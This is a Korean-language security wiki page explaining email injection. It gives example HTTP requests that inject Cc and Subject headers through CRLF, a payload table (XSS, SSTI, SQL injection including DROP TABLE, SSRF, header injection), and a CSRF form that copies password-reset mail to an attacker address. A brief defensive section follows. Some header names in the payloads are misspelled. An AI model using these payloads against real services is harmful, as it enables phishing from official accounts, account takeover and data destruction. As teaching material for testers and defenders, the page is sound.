Email Injection
Introduction
Email Injection은 Application에서 사용자로 부터 받은 입력 값이 Email을 처리하는데 사용되고 입력 값에 대한 검증이 미흡한 경우 공격자가 악의적인 파라미터로 메일 내용 등을 변조할 수 있는 공격 방법입니다.
{
"email":"sender@domain.com%0ACc:attacker@domain.com"
}
공격이 성공한다면 공식 계정 사칭이나 피싱 등에 활용될 수 있고, 연관된 시스템에 따라서 계정 탈취 등에 사용될 수 있습니다.
Offensive techniques
Detect
초대, 안내 등 웹 요청 이후에 이메일이 전송되는 모든 구간은 Email Injection의 영향을 받을 수 있습니다.
POST /invite HTTP/1.1
email=hahwul@gmail.com
email 파라미터를 통해 받은 값이 SMTP 등 메일 전송 시스템을 통해 전송될 때 입력 값에 대한 검증이 없다면 CRLF(개행문자)등을 이용하여 Email의 송/수신인, 내용 등을 변조할 수 있게 됩니다.
POST /invite HTTP/1.1
email=hahwul@gmail.com%0ASubject:Fake%20Subject
Exploitation
Common Vuln
Type | Payload |
---|---|
XSS | test+(<script>alert(0)</script>)@example.comtest@example(<script>alert(0)</script>).com"<script>alert(0)</script>"@example.com |
SSTI | "<%= 7 * 7 %>"@example.comtest+(${{7*7}})@example.com |
SQLi | "' OR 1=1 -- '"@example.com"mail'); DROP TABLE users;--"@example.com |
SSRF (Era of ssrf) | john.doe@abc123.burpcollaborator.netjohn.doe@[127.0.0.1] |
Parameter pollution | victim&email=[attacker@example.com](mailto:attacker@example.com) |
Email header injection | "%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com |
Wildcard abuse | %@example.com |
Refer: E-mail 포맷을 이용한 여러가지 Exploiting 기법들
Stealing sensitive inforamation
CSRF 등의 취약점과 조합되면 패스워드 재 설정 시 발생하는 메일이나 2FA 인증 값 등 민감한 정보를 탈취할 수 있습니다.
POST /invite HTTP/1.1
email=victim@domain.com%0ACc:attacker@domain.com
메일을 발생시키는 요청 시 Email Injection하여 공격자의 메일에도 Cc로 데이터가 전달될 수 있도록 공격코드를 구성한다면 피해자가 CSRF 코드 접근 시 비밀번호 재생성 링크 등을 공격자의 메일로도 전달할 수 있어 계정 탈취 등의 이슈와 연결될 수 있습니다.
<form arciton="https://weakness-service/findPassword" method="post">
<input type=text name="email" value="victim@domain.com%0ACc:attacker@domain.com">
</form>
Header/Content Injection
Email Injection이 가능한 메일이 noreply@blahblah 등 공식 계정으로 전송되는 경우 mail의 헤더에 개행 문자등을 삽입하여 Subject, Body 등을 조작하여 공식 계정에서의 피싱 메일을 구성할 수 있습니다.
POST /notify HTTP/1.1
email=victim@domain.com%0ASubjact:Important%20Security%20Alerts%0A%0AFake%20Message!
또한 사용자 입력 값이 메일 본문에 삽입되는 경우 HTML 태그, CSS 등을 이용하여 서비스에서 의도하지 않을 메일을 전달할 수 있습니다.
POST /notify HTTP/1.1
email=victim@domain.com&name=alice<br>Please%20Click%20Me<!--
RCE
Mail 전송을 위해서 Command-line으로 다른 Mail Application을 처리하는 경우가 있습니다. 대표적으로 PHP Cli의 mail()
함수도 비슷하죠.
이러한 경우 Command Injection과 동일하게 해당 과정에서 특수문자에 대한 처리가 미흡하다면 이를 통해 최종적으로 RCE까지 이어질 수 있습니다.
Tricks
Subjact: <TITLE>
: 제목Cc: <attacker mail address>
: CC(참조) 설정으로 메일을 받을 수 있음Replay-To: <attacker mail address>
: Replay-to를 사용하면 회신 대상을 지정할 수 있어 메일을 받아올 수 있음
Defensive techniques
사용자로 부터 Email 전송에 사용되는 데이터를 받아 처리하는 경우 지정된 포맷의 데이터 이외에는 처리하지 않도록 제한하는 것이 좋습니다. 특히 개행문자의 경우 여러가지 Exploit 포인트를 만들 수 있기 때문에 꼭 처리하는 것이 좋습니다.
References
- https://en.wikipedia.org/wiki/Email_injection
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://www.hahwul.com/cullinan/crlf-injection/#-defensive-techniques